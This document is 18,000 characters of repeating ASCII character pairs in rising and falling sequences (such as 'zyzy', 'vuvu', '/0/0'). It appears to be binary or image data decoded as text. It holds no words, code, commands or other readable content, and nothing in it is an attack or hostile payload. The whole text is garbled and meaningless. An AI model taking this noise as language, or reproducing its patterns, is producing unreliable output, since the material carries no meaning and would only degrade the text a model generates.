-~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopo~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopo~}}}}}}~zyzyzyzyvuvuvuvutstststspopopopolklklklk}~}~}~}~zyzyzyzyvuvuvuvutstststspopopopolklklklk}~}~}~}~zyzyzyzyvuvuvuvutstststspopopopolklklklk}~}~}~}~zyzyzyzyvuvuvuvutstststspopopopolklklklk}~}~}~}~zyzyzyzyvuvuvuvutstststspopopopolklklklk}~}~}~}~zyzyzyzyvuvuvuvutstststspopopopolklklklk}}}}}}~}zyzyzyzyvuvuvuvutstststspopopopolklklklk~}~}~}|{zyzyzyzyvuvuvuvutstststspopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvutststsrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyxwvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqpopoponmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwvuvuvutsrqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklk|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklk~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklk}}}}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklkji~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji~}~}~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji~}~}~}}}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji}}}~}~}~|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji}~}~}~}~|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji}~}~}~}~|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji}~}~}~}~|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji}~}~}~}~|{|{|{zyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji}~}~}}}}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijiji}}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqponmnmnmnmjijijiji~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji~}~}}}}}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji}~}~}~}~zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji}~}~}~}~zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji}~}~}~}~zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji}~}~}~}~zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji}~}~}~}~zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji}~}}}}}}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijiji~}~}~}~}zyzyzyzyxwxwxwvutstststspopopoponmnmnmnmjijijiji~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijiji~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmlkjijijijijijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIIIIIJIJFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"! jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIIIIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCBABABA@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijijifefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;:98787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijijifefefefebabababa^]^]^]^]\[\[ZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijijifefefefebabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIIIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijijifefefedcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSRQRQPOPONMNMNMNMIIIJIJIJFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijijidcdcdcccbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijijicccdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#     jijijihgcdcdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        hghghghgcdcdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMIJIJIJIJFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        hghghghgcdcdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMIJIJIIIIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        hghghghgcdcdcdcdbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKIIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgcdcdccccbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgccdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565210/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?>=>=>=<;<;<;<;87878787656565650//////0.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgdcdcdcdcbaba`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;8787878765656565/0/0/0/0.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;8787878765434343/0/0/0/0.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;8787878743434343/0/0/0/0.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgdcdccccc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;8787878743434343/0/0/0/0.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;8787878743434343/0/0/0/0.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;8787878743434343//////0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        hghghghgcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - hghghghgcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - hghghghgcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - hghghghgcdcccccc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - hghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878743434343/////0/0,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878743434343/0/0/0/0,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;:9:9:98787878743434343/0/0/0/0,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgdcdcdcdc`_`_`_`_^]^]\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:98787878743434343/0/0/0/0,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgdccccccd`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:98787878743434343/0/0/0/0,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgcdcdcdcd`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:98787878743434343/0/0/0//,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgcdcdcdcd`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:98787878743434343////0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgcdcdcdcd`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgcdcdcdcd`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgcdcdcdcd`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgccccccdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!        - - - - hghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0///,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - hghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:98787878743434343///0/0/0,+,+,+,+('('('('&%&%&%&%"!"!"!"!        - - - - hghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:98787878743434343/0/0/0/0,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - hgfefefeccccdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDCBA@?@?@?>=>=>=>=:9:9:9:98787878743434343/0/0/0/0,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefedcdcbaba`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:98787878743434343/0/0/0/0,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:98765656543434343/0/0/0/0,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa`_`_`_`_\[\[\[\[ZYZYXWXWVUVUVUVURQRQRQRQPOPOPOPOJIJIIIIIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656543434343/0/0////,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPOPOPOJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656543434343//0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQPOPONMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIIIIIIJHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343210/0/////,+,+,+,+('('('('&%&%&%&%"!"!"!"!   - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMIJIJIJIJHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMIJIJIJIJHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMIJIJIJIJHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"! - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMIJIJIJIJHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMIJIJIJIJHGFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMIIIIIIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - fefefefebabababa`_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - fefefefebabababa`_`_^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWVUVUTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - fefefefebabababa^]^]^]^]\[\[\[\[XWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"! - - - - yyzz{{||mmnnoopp55667788<<;;::99ttssrrqquuvvwwxxuuvvwwxxBBCCDDEE - - //..--,,ggffeedd}}~~qqrrsstt99::;;<<88776655ppoonnmmyyzz{{||yyzz{{||FFGGHHII++**))((ccbbaa``uuvvwwxx==>>??@@44332211llkkjjii}}}}~JJKKLLMM''&&%%$$__^^]]\\yyzz{{||AABBCCDD - - 00//..--hhggffeeNNOOPPQQ##""!! [[ZZYYXX}}~~EEFFGGHH ,,++**))ddccbbaaRRSSTTUUWWVVUUTTIIJJKKLL((''&&%%``__^^]]VVWWXXYY !!SSRRQQPPMMNNOOPP$$##""!!\\[[ZZYYZZ[[\\]]""##$$%%OONNMMLLQQRRSSTT XXWWVVUU^^__``aa&&''(())KKJJIIHH~~}}UUVVWWXX TTSSRRQQbbccddee**++,,-- GGFFEEDD||{{zzyyYYZZ[[\\!!""##$$PPOONNMMffgghhii..//0011 - - CCBBAA@@xxwwvvuu]]^^__``%%&&''((LLKKJJIIjjkkllmm22334455??>>==<<~~}}||ttssrrqqaabbccdd))**++,, HHGGFFEE~~}}nnooppqq66778899;;::9988{{zzyyxxppoonnmm~}}||eeffgghh--..//00 - - DDCCBBAA||{{zzyyrrssttuu::;;<<==77665544wwvvuuttllkkjjii{{zzyyxxiijjkkll11223344@@??>>==xxwwvvuuvvwwxxyy>>??@@AA 33221100ssrrqqpphhggffeewwvvuuttmmnnoopp55667788<<;;::99ttssrrqq}}zz{{||}}BBCCDDEE - - //..--,,oonnmmllddccbbaassrrqqppqqrrsstt99::;;<<88776655ppoonnmm||{{zzyy~~FFGGHHII++**))((kkjjiihh``__^^]]}}||{{oonnmmlluuvvwwxx==>>??@@44332211llkkjjiixxwwvvuuJJKKLLMM''&&%%$$ggffeedd\\[[ZZYYzzyyxxwwkkjjiihgyyzz{{||AABBCCDD - - 00//..--hhggffeettssrrqqNNOOPPQQ##""!! ccbbaa``XXWWVVUUvvuuttssfedccbba}}~~EEFFGGHH ,,++**))ddccbbaappoonnmm~~}}||RRSSTTUU__^^]]\\TTSSRRQQrrqqppooa``__^^]IIJJKKLL((''&&%%``__^^]]llkkjjii{{zzyyxxVVWWXXYY !![[ZZYYXXPPOONNMMnnmmllkk]\\[[ZZYMMNNOOPP$$##""!!\\[[ZZYYccbbaa``wwvvuuttZZ[[\\]]""##$$%%WWVVUUTTLLKKJJIIjjiiccbbYXXWWVVU~~}}QQRRSSTT XXWWVVUU__^^]]\\ssrrqqpp^^__``aa&&''(())SSRRQQPPHHGGFFEEaa``__^^UTTSSRRQ||{{zzyyUUVVWWXX TTSSRRQQ[[ZZYYXXoonnmmllbbccddee**++,,-- OONNMMLLDDCCBBAA]]\\[[ZZQPPOONMLxxwwvvuuYYZZ[[\\!!""##$$PPOONNMMWWVVUUTTkkjjiihhffgghhii..//0011 - - KKJJIIHH@@??>>==YYXXWWVVKJIIHHGGttssrrqq]]^^__``%%&&''((LLKKJJIISSRRQQPPggffeeddjjkkllmm22334455GGFFEEDD<<;;::99UUTTSSRRFFEEDDCCppoonnmmaabbccdd))**++,, HHGGFFEEOOIIHHGGccbbaa``nnooppqq66778899CCBBAA@@88776655QQPPOOIIBBAA@@??llkkjjiieeffgghh--..//00 - - DDCCBBAAFFEEDDCC__^^]]\\rrssttuu::;;<<==??>>==<<44332211HHGGFFEE>>==<<;;hhggffeeiijjkkll11223344@@??>>==BBAA@@??[[ZZYYXXvvwwxxyy>>??@@AA ;;::998800//..--DDCCBBAA::998877ddccbbaammnnoopp55667788<<;;::99>>==<<;;WWVVUUTTzz{{||}}BBCCDDEE - - 77665544,,++**))@@??>>==66554321``__^^]]qqrrsstt99::;;<<88776655::998877SSRRQQPP~~FFGGHHII33221100((''&&%%<<;;::990//..--,\\[[ZZYYuuvvwwxx==>>??@@443322116655//..OONNMMLLJJKKLLMM//..--,,$$##""!!88776655,++**))(XXWWVVUUyyzz{{||AABBCCDD - - 00//..----,,++**KKJJIIHHNNOOPPQQ++**))(( //..--,,(''&&%%$TTSSRRQQ}}~~EEFFGGHH ,,++**))))((''&&GGFFEEDD~~}}||RRSSTTUU''&&%%$$++**))(($##""!! PPOONNMMIIJJKKLL((''&&%%%%$$##""CCBBAA@@{{zzyyxxVVWWXXYY !!##""!! ''&&%%$$ LLKKJJIIMMNNOOPP$$##""!!!! ??>>==<>==xxwwvvuuYYZZ[[\\!!""##$$ 33221100kkjjiihhffgghhii..//0011 - -  - -<<;;::99ttssrrqq]]^^__``%%&&''(( - - //..--,,ggffeeddjjkkllmm22334455  88776655ppoonnmmaabbccdd))**++,, ++**))((ccbbaa``nnooppqq66778899 - -  - - - -44332211llkkjjiieeffgghh--..//00 - - ''&&%%$$__^^]]\\rrssttuu::;;<<==  - - 